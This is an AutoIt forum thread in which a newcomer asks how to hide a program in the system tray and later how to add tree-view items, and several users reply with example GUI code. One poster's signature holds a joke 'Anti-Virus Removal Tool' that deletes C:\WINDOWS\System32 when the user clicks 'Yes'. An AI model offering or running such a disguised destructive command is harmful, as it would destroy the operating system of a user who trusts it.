rohit Posted December 21, 2007 Share Posted December 21, 2007 Hi all, I am a newbie here.. i am just wondering if i could make a program appear in tray only Link to comment Share on other sites More sharing options...
Firefoxy Posted December 21, 2007 Share Posted December 21, 2007 Are you asking if you can make it only have a tray icon and run everything in the background or whenever you minimize it it goes to the tray? ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf Link to comment Share on other sites More sharing options...
rohit Posted December 21, 2007 Author Share Posted December 21, 2007 (edited) ya... it goes to tray when minimized..or closed or as coded Edited December 21, 2007 by rohit Link to comment Share on other sites More sharing options...
GEOSoft Posted December 21, 2007 Share Posted December 21, 2007 At the top of the script use this Opt ("TrayOnEventMode", 1) Opt ("TrayMenuMode", 1) Opt ("TrayAutoPause", 0) Then use these functions NOTE $Frm_Main was created with $Frm_Main = GUICreate("My GUI") So replace it with what ever name you gave your variable for GUICreate() Func Hide_GUI() Global $Tr_Disp = 1 GuiSetState(@SW_HIDE,$Frm_Main ) TraySetOnEvent(-8,"Restore_GUI") TraySetOnEvent(-10,"_Exit") TrayTip($Ttl,'Left click to restore' & @CRLF & 'Right click to Exit',5,1) TraySetToolTip($Ttl & @CRLF & @CRLF & 'Left click to restore' & @CRLF & 'Right click to Exit') Opt("TrayIconHide", 0) EndFunc ;<===> Hide_GUI() Func Restore_GUI() GuiSetState(@SW_Show,$Frm_Main ) WinActivate ($Frm_Main) TraySetState ( 2 ) Opt("TrayIconHide", 1) EndFunc ;<===> Restore_GUI() George Question about decompiling code? Read the decompiling FAQ and don't bother posting the question in the forums.Be sure to read and follow the forum rules. -AKA the AutoIt Reading and Comprehension Skills test.*** The PCRE (Regular Expression) ToolKit for AutoIT - (Updated Oct 20, 2011 ver:3.0.1.13) - Please update your current version before filing any bug reports. The installer now includes both 32 and 64 bit versions. No change in version number. Visit my Blog .. currently not active but it will soon be resplendent with news and views. Also please remove any links you may have to my website. it is soon to be closed and replaced with something else. "Old age and treachery will always overcome youth and skill!" Link to comment Share on other sites More sharing options...
rohit Posted December 21, 2007 Author Share Posted December 21, 2007 (edited) thanx... I am loving autoit One more question.. . can i dynamically change a tree view by calling a function predefined... ........like i add a new menu item by calling a function through a button...[change is immediately seen in the gui] thanx once more Edited December 21, 2007 by rohit Link to comment Share on other sites More sharing options...
BrettF Posted December 21, 2007 Share Posted December 21, 2007 Ok. Look at this example: #include <GUIConstants.au3> #Include <GuiTreeView.au3> #Region ### START Koda GUI section ### Form= $Form1 = GUICreate("Form1", 325, 296, 193, 125) $TreeCtrl = GUICtrlCreateTreeView(8, 8, 305, 249) $Add_button = GUICtrlCreateButton("Add_button", 240, 264, 75, 25, 0) $Add_Input = GUICtrlCreateInput("Add_Input", 8, 266, 225, 21) GUISetState(@SW_SHOW) #EndRegion ### END Koda GUI section ### While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit Case $Add_button $input = GUICtrlRead($Add_Input) $index = _GUICtrlTreeView_GetSelection($TreeCtrl) _GUICtrlTreeView_AddChild($TreeCtrl, $index, $input) _GUICtrlTreeView_Expand($TreeCtrl) EndSwitch WEnd Vist my blog!UDFs: Opens The Default Mail Client | _LoginBox | Convert Reg to AU3 | BASS.au3 (BASS.dll) (Includes various BASS Libraries) | MultiLang.au3 (Multi-Language GUIs!)Example Scripts: Computer Info Telnet Server | "Secure" HTTP Server (Based on Manadar's Server)Software: AAMP- Advanced AutoIt Media Player | WorldCam | AYTU - Youtube Uploader Tutorials: Learning to Script with AutoIt V3Projects (Hardware + AutoIt): ArduinoUseful Links: AutoIt 1-2-3 | The AutoIt Downloads Section: | SciTE4AutoIt3 Full Version! Link to comment Share on other sites More sharing options...
rohit Posted December 21, 2007 Author Share Posted December 21, 2007 $index = _GUICtrlTreeView_GetSelection($TreeCtrl) Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now